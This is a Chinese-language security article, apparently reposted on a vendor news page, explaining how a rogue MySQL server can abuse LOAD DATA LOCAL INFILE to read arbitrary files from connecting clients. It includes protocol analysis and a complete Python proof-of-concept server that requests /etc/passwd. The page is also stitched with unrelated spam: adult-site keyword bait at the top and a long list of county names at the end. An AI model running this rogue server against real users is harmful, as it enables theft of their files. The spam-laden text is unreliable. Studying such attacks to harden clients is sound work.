91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么實現MySQL客戶端攻擊鏈的探索

發布時間:2021-12-27 15:21:58 來源:億速云 閱讀:106 作者:柒染 欄目:網絡安全

本篇文章為大家展示了怎么實現MySQL客戶端攻擊鏈的探索,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

0X01正文

MySQL LOAD DATA特性

LOAD DATA語句可以裝載服務器主機上的文件,若指定LOCAL關鍵字,可以裝載客戶端文件。

還是看官方文檔的描述吧

怎么實現MySQL客戶端攻擊鏈的探索

Mysql官方對在官方文檔中已經闡述了LOAD DATA的危害性,并且對LOAD DATA特性的使用做了嚴格限制,例如secure_file_priv的設置

怎么實現MySQL客戶端攻擊鏈的探索

secure_file_priv的值為/var/lib/mysql-files/,那么secure_file_priv這里都有什么設置呢

  1. secure_file_priv為null    表示不允許導入導出

  2. secure_file_priv指定文件夾時,表示mysql的導入導出只能發生在指定的文件夾

  3. secure_file_priv沒有設置時,則表示沒有任何限制

對于LOAD DATA我們常用的語句搭配有兩個,分別是操作客戶端和服務器文件:



load data local infile "文件路徑" into table 表名 fields terminated by '分隔符'; load data infile "文件路徑" into table 表名 fields terminated by '分隔符';

第一個語句的意思是讀取客戶端上的文件并存入相應表中,第二個語句是讀取服務器的文件并存入相應表中。我們要關注的是LOAD DATA LOCAL INFILE,因為利用這個我們可以在一定條件下,實現任意文件讀取!

不過,正如前面提到的我們有個secure_file_priv,這個參數會限制我們讀取文件的路徑,我們首先配置一下它,方便我們稍后操做。

協議分析

環境:ubuntu 16.0.4,mysql 5.7.23

工具:tcpdump

這里使用的抓包命令為:



tcpdump -i lo port 3306 -w mysql.cap -v

mysql客戶端與服務器的交互主要分為兩個階段:握手認證階段和命令執行階段.

握手為TCP三次握手,這里我們去繁就簡,著重分析一下它的命令執行階段

首先服務器向客戶端發送一個Greeting問候包

怎么實現MySQL客戶端攻擊鏈的探索

主要為mysql和服務器一些banner信息!

然后客戶端會發送一個Authentication包,其作用進行登陸請求,發送用戶名密碼(密碼為兩層sha1加密)和一些config。

怎么實現MySQL客戶端攻擊鏈的探索

接下來客戶端發送的查詢包,首先進行的是一些初始化查詢!例如:select @@version_comment limit 1

怎么實現MySQL客戶端攻擊鏈的探索

然后是我們的查詢包內容load data local infile語句!

怎么實現MySQL客戶端攻擊鏈的探索

收到我們的Query查詢后,服務器會返回一個包含我們請求的文件名的響應包!

怎么實現MySQL客戶端攻擊鏈的探索

最后客戶端向服務器發送了一個Response TABULAR 內容為服務器請求文件的內容!

怎么實現MySQL客戶端攻擊鏈的探索

至此,我們就讀取了客戶端的文件,并且在無secure_file_priv限制的情況下,我們可以進行任意文件讀取!

那么問題來了,我們來再看一下官方文檔!

怎么實現MySQL客戶端攻擊鏈的探索

從官方文檔,我們可以知道服務器請求客戶端文件的時候,并未約定指定文件,在這種情況下服務器只需要提供文件名,就可以讀取客戶端的任意文件,如果我們構造一個惡意的服務器,當客戶端連接后,我們只需要偽造file transfer包就可以實現文件讀取!當然前提是LOAD DATA LOCAL設置開啟。

過程如圖所示:

怎么實現MySQL客戶端攻擊鏈的探索

搭建惡意的服務端

搭建惡意服務器需要滿足下面三個條件:

  • 首先向 MySQL Client 發送Server Greeting包

  • 等待Client 端發送一個Query Package包

  • 然后回復一個file transfer請求,來請求讀取文件

首先,我們要知道如何構造如何構造File Transfer和Server Greeting數據包,在mysql的官方文檔上已經給出了數據包的格式。

File Transfer數據包格式:https://dev.mysql.com/doc/internals/en/com-query-response.html

我們需要等待一個來自 Client 的查詢請求,才能回復服務端的這個讀文件的請求。

Greeting數據包格式:https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake

測試

poc

代碼來源:https://www.vesiluoma.com/abusing-mysql-clients/



#!/usr/bin/python#coding: utf8import socket# linux :#filestring = "/etc/passwd"# windows:#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"HOST = "0.0.0.0" # open for eeeeveryone! ^_^PORT = 3306BUFFER_SIZE = 1024#1 Greetinggreeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"#2 Accept all authenticationsauthok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"#3 Payload#數據包長度payloadlen = "\x0c"padding = "\x00\x00"payload = payloadlen + padding +  "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)s.bind((HOST, PORT))s.listen(1)while True:conn, addr = s.accept()print 'Connection from:', addr    conn.send(greeting)while True:data = conn.recv(BUFFER_SIZE)print " ".join("%02x" % ord(i) for i in data)conn.send(authok)data = conn.recv(BUFFER_SIZE)conn.send(payload)print "[*] Payload send!"data = conn.recv(BUFFER_SIZE)if not data: breakprint "Data received:", databreak# Don't leave the connection open.conn.close()

Github項目:https://github.com/allyshka/Rogue-MySql-Server

攻擊效果

這里使用github的項目測試,首先運行腳本如下:

怎么實現MySQL客戶端攻擊鏈的探索

怎么實現MySQL客戶端攻擊鏈的探索

我們可以發現,我們可以實現任意文件讀取。

上述內容就是怎么實現MySQL客戶端攻擊鏈的探索,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

文水县| 通山县| 讷河市| 沧州市| 土默特左旗| 忻城县| 永新县| 桃源县| 五家渠市| 汕尾市| 西盟| 台中市| 玉田县| 天气| 景宁| 三门县| 牙克石市| 赤水市| 彭水| 邓州市| 洛川县| 伊金霍洛旗| 芒康县| 天镇县| 廉江市| 工布江达县| 军事| 五大连池市| 车致| 黑河市| 五常市| 章丘市| 三门峡市| 祁东县| 昌邑市| 福海县| 顺平县| 武功县| 清远市| 临江市| 商洛市|